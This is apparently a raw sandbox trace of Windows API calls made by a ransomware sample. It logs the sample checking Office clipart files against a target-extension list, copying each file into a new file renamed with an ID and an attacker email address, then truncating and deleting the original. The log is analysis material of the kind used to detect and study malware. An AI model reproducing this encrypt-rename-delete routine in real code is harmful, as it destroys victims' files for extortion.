	[0070.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1
	[0070.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.250] lstrlenW (lpString=".doc") returned 4
	[0070.250] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.250] lstrlenW (lpString=".docx") returned 5
	[0070.250] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.250] lstrlenW (lpString=".pdf") returned 4
	[0070.250] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.250] lstrlenW (lpString=".xls") returned 4
	[0070.250] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.250] lstrlenW (lpString=".xlsx") returned 5
	[0070.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.250] lstrlenW (lpString=".ppt") returned 4
	[0070.250] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.251] lstrlenW (lpString=".zip") returned 4
	[0070.251] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.251] lstrlenW (lpString=".rar") returned 4
	[0070.251] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.251] lstrlenW (lpString=".bz2") returned 4
	[0070.251] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.251] lstrlenW (lpString=".7z") returned 3
	[0070.251] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.251] lstrlenW (lpString=".dbf") returned 4
	[0070.251] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.251] lstrlenW (lpString=".1cd") returned 4
	[0070.251] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.251] lstrlenW (lpString=".jpg") returned 4
	[0070.251] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.251] lstrlenW (lpString=".doc") returned 4
	[0070.251] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.251] lstrlenW (lpString=".docx") returned 5
	[0070.251] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.252] lstrlenW (lpString=".pdf") returned 4
	[0070.252] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.252] lstrlenW (lpString=".xls") returned 4
	[0070.252] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.252] lstrlenW (lpString=".xlsx") returned 5
	[0070.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.252] lstrlenW (lpString=".ppt") returned 4
	[0070.252] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.252] lstrlenW (lpString=".zip") returned 4
	[0070.252] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.252] lstrlenW (lpString=".rar") returned 4
	[0070.252] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.252] lstrlenW (lpString=".bz2") returned 4
	[0070.252] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.252] lstrlenW (lpString=".7z") returned 3
	[0070.252] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.253] lstrlenW (lpString=".dbf") returned 4
	[0070.253] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.253] lstrlenW (lpString=".1cd") returned 4
	[0070.253] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0070.253] lstrlenW (lpString=".jpg") returned 4
	[0070.253] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.253] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.253] lstrlenW (lpString="AG00157_.GIF") returned 12
	[0070.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.256] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=4955) returned 1
	[0070.256] CloseHandle (hObject=0x338) returned 1
	[0070.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220
	[0070.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.256] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.256] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.257] GetLastError () returned 0x0
	[0070.257] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x135b, lpOverlapped=0x0) returned 1
	[0070.260] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0070.262] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.262] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.262] SetEndOfFile (hFile=0x320) returned 1
	[0070.262] CloseHandle (hObject=0x320) returned 1
	[0070.263] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.264] SetEndOfFile (hFile=0x338) returned 1
	[0070.265] CloseHandle (hObject=0x338) returned 1
	[0070.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1
	[0070.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.266] lstrlenW (lpString=".doc") returned 4
	[0070.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.266] lstrlenW (lpString=".docx") returned 5
	[0070.266] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.266] lstrlenW (lpString=".pdf") returned 4
	[0070.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.266] lstrlenW (lpString=".xls") returned 4
	[0070.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.266] lstrlenW (lpString=".xlsx") returned 5
	[0070.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.266] lstrlenW (lpString=".ppt") returned 4
	[0070.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.266] lstrlenW (lpString=".zip") returned 4
	[0070.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.266] lstrlenW (lpString=".rar") returned 4
	[0070.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.266] lstrlenW (lpString=".bz2") returned 4
	[0070.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.267] lstrlenW (lpString=".7z") returned 3
	[0070.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.267] lstrlenW (lpString=".dbf") returned 4
	[0070.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.267] lstrlenW (lpString=".1cd") returned 4
	[0070.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.267] lstrlenW (lpString=".jpg") returned 4
	[0070.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.267] lstrlenW (lpString=".doc") returned 4
	[0070.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.267] lstrlenW (lpString=".docx") returned 5
	[0070.267] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.267] lstrlenW (lpString=".pdf") returned 4
	[0070.268] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.268] lstrlenW (lpString=".xls") returned 4
	[0070.268] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.268] lstrlenW (lpString=".xlsx") returned 5
	[0070.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.268] lstrlenW (lpString=".ppt") returned 4
	[0070.268] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.268] lstrlenW (lpString=".zip") returned 4
	[0070.268] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.268] lstrlenW (lpString=".rar") returned 4
	[0070.268] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.268] lstrlenW (lpString=".bz2") returned 4
	[0070.268] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.268] lstrlenW (lpString=".7z") returned 3
	[0070.268] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.268] lstrlenW (lpString=".dbf") returned 4
	[0070.268] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.268] lstrlenW (lpString=".1cd") returned 4
	[0070.269] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0070.269] lstrlenW (lpString=".jpg") returned 4
	[0070.269] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.269] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.269] lstrlenW (lpString="AG00158_.GIF") returned 12
	[0070.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.270] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=5030) returned 1
	[0070.270] CloseHandle (hObject=0x338) returned 1
	[0070.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220
	[0070.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.270] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.270] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.271] GetLastError () returned 0x0
	[0070.271] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x13a6, lpOverlapped=0x0) returned 1
	[0070.273] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13b0, lpOverlapped=0x0) returned 1
	[0070.274] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.274] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.274] SetEndOfFile (hFile=0x320) returned 1
	[0070.275] CloseHandle (hObject=0x320) returned 1
	[0070.275] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.276] SetEndOfFile (hFile=0x338) returned 1
	[0070.277] CloseHandle (hObject=0x338) returned 1
	[0070.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1
	[0070.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.277] lstrlenW (lpString=".doc") returned 4
	[0070.277] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.277] lstrlenW (lpString=".docx") returned 5
	[0070.277] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.277] lstrlenW (lpString=".pdf") returned 4
	[0070.277] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.278] lstrlenW (lpString=".xls") returned 4
	[0070.278] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.278] lstrlenW (lpString=".xlsx") returned 5
	[0070.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.278] lstrlenW (lpString=".ppt") returned 4
	[0070.278] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.278] lstrlenW (lpString=".zip") returned 4
	[0070.278] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.278] lstrlenW (lpString=".rar") returned 4
	[0070.278] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.278] lstrlenW (lpString=".bz2") returned 4
	[0070.278] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.278] lstrlenW (lpString=".7z") returned 3
	[0070.278] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.278] lstrlenW (lpString=".dbf") returned 4
	[0070.278] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.278] lstrlenW (lpString=".1cd") returned 4
	[0070.278] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.278] lstrlenW (lpString=".jpg") returned 4
	[0070.278] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.278] lstrlenW (lpString=".doc") returned 4
	[0070.279] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.279] lstrlenW (lpString=".docx") returned 5
	[0070.279] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.279] lstrlenW (lpString=".pdf") returned 4
	[0070.279] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.279] lstrlenW (lpString=".xls") returned 4
	[0070.279] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.279] lstrlenW (lpString=".xlsx") returned 5
	[0070.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.279] lstrlenW (lpString=".ppt") returned 4
	[0070.279] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.279] lstrlenW (lpString=".zip") returned 4
	[0070.279] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.279] lstrlenW (lpString=".rar") returned 4
	[0070.279] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.279] lstrlenW (lpString=".bz2") returned 4
	[0070.279] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.279] lstrlenW (lpString=".7z") returned 3
	[0070.279] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.279] lstrlenW (lpString=".dbf") returned 4
	[0070.279] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.279] lstrlenW (lpString=".1cd") returned 4
	[0070.279] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0070.279] lstrlenW (lpString=".jpg") returned 4
	[0070.280] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.280] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.280] lstrlenW (lpString="AG00160_.GIF") returned 12
	[0070.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.280] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1146) returned 1
	[0070.280] CloseHandle (hObject=0x338) returned 1
	[0070.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220
	[0070.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.281] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.281] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.281] GetLastError () returned 0x0
	[0070.281] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x47a, lpOverlapped=0x0) returned 1
	[0070.871] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x480, lpOverlapped=0x0) returned 1
	[0070.872] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.872] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.872] SetEndOfFile (hFile=0x320) returned 1
	[0070.872] CloseHandle (hObject=0x320) returned 1
	[0070.873] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.873] SetEndOfFile (hFile=0x338) returned 1
	[0070.874] CloseHandle (hObject=0x338) returned 1
	[0070.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
